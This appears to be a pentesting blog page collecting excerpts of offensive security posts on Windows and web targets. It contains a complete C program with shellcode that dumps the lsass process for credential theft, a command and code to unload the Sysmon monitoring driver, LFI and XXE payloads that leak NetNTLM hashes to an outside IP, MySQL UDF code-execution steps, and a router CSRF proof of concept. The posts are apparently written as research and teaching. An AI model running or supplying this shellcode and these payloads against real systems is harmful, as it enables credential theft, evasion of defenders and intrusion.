Pentesting

Hacking the World with HTML

In my previous article Exploring the MS-DOS Stub I stated that after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program. Check it out if you have not.

If you take a PE file and null out the MS-DOS header and the MS-DOS stub program leaving out the e_magic and the e_lfanew values, the PE will still work fine as the rest is not needed by the Windows PE loader. The e_lfanew address at offset 0x3c is important as it points to the beginning of the _IMAGE_NT_HEADERS structure which is the actual start of the PE file.

Since those values are not important we can insert an HTML comment from offset 0x2 which is the e_cblp value and begin an HTML comment and end the comment at the end of the PE and append our HTML/PHP/ASP/JSP file contents.

I wrote a simple program in C to automate this task. You can provide your PE file and the HTML/PHP/ASP/JSP file to inject and it will generate an HTML file. You can rename the file into the extension you desire.
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WMI 101 for Pentesters

PowerShell has gained popularity with SysAdmins and for good reason. It’s on every Windows machine (and now some Linux machines as well), has capabilities to interact with almost every service on every machine on the network, and it’s a command-line utility. For the same exact reasons, PowerShell has also become a favourite method of attackers interacting with a victim machine. Because of this, organizations have gotten wise to this attack vector and have put measures in place to mitigate its use. But there’s another way! Many don’t know of another built-in Windows utility that actually pre-dates PowerShell and can also help them in their hacking pentesting engagements. That tool is Windows Management Instrumentation (WMI). This tutorial will be a small introduction to not only understand the usage of WMI to enumerate information from local and remote machines, but we’ll also show you how to start and kill processes! So let’s jump into WMI 101 for pentesters.

Background on WMI

I will keep this article at an introductory level to understand how to enumerate information at a high level. But as with most tutorials, let’s define some terms and provide some historical background. This may get dry but stick with me.

Windows Management Instrumentation (WMI) is Microsoft’s implementation of Web-based Business Management Standards (WBEM), the common information model (CIM) and the Distributed Management Task Force (DMTF). Microsoft has officially stated:

“Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems.”

So what does that mean? Simply, WMI stores a bunch of information about the local machine and allows you to access that data as well as manage Windows computers locally and remotely.

WMI came pre-installed in Windows 2000. It was made available as a download for Windows NT and Windows 95/98. For historical purposes, Monad, was born in 2002 with its first public appearance in 2003. In the spring of 2006, Monad was renamed Windows PowerShell and didn’t make a final release until November of 2006.

By default, WMI can be accessed by the Windows Script Host (WSH) languages such as VBScript and JScript. From Windows 7 PowerShell can be also used to access WMI. Furthermore, the IWbem COM API can be used with C/C++ and the ‘System.Management’ namespace with .Net languages such as C#, VB.Net and F#. Almost every popular programming languages such as Python, Ruby, PHP, Delphi, et al have third-party libraries or built-in libraries which support WMI.

The command-line interface to access WMI is called the Windows Management Instrumentation Command-line (WMIC). However, WMI can also be accessed directly with PowerShell. From PowerShell v3 onwards, CIM (Common Information Model) cmdlets can be found. The CIM cmdlets can be used to interact with WMI over WS-MAN (WinRM). These CIM cmdlets will aid us when WMI is blocked but WinRM is allowed on the target machine.
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Bypassing the WebARX Web Application Firewall (WAF)

WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html

It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.

Let’s first try on their own website. This is a simple LFi payload.


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WQL Injection

Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?

I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.

This is the WQL Query.

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SELECT * FROM win32_service where Name='User Input'

As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method. (more…)

Unloading the Sysmon Minifilter Driver

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.
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MiniDumpWriteDump via Faultrep!CreateMinidump

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.


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Shellcode to Dump the Lsass Process

Here’s the shellcode I wrote for curiosity and ended up working nicely 🙂

This shellcode is for Windows 10 and Server 2019 x86_64.

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#include <stdio.h>
#include <string.h>
#include <windows.h>
/*
* Title: Shellcode to dump the lsass process
* Works only on Windows 10 and Windows Server 2019
* Arch: x86_64
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: https://osandamalith.com
* Date: 11/05/2019
*/
  
int main() {
 
unsigned char shellcode[822] = {
0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,
0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,
0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,
0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,
0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,
0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,
0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,
0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,
0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,
0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,
0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,
0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,
0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,
0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,
0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,
0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,
0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,
0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,
0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44,
0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,
0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,
0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,
0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,
0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,
0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,
0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,
0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,
0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,
0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,
0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,
0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,
0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01,
0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,
0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,
0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,
0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,
0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,
0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,
0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,
0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,
0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,
0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,
0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,
0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,
0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,
0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,
0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,
0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3
};
    
    DWORD oldProtect;
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
  
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    }
  
    ((void(*)(void))shellcode)();
  
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
  
    return EXIT_SUCCESS;
}

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MySQL UDF Exploitation

Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time the I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ‘–secure-file-priv=’ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’ doesn’t exists. They have changed it to ‘authentication_string’.

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

Note that you can use the metasploit’s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request here

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.
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Places of Interest in Stealing NetNTLM Hashes

One day me and @m3g9tr0n were discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.

LFI

The include() in PHP will resolve the network path for us.

http://host.tld/?page=//11.22.33.44/@OsandaMalith

XXE

In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
  <name></name>
  <tel></tel>
  <email>OUT&xxe;OUT</email>
  <password></password>
</root>


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D-Link DIR-615 Open Redirection and XSS

D-Link DIR-615
Hardware Version: E3
Firmware Version: 5.10

The ‘apply.cgi’ file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in ‘apply.cgi’. For example the ‘ping_response.cgi’ file.

Open Redirection

apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html_response_page" value="https://google.lk" />
      <input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
    <img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>

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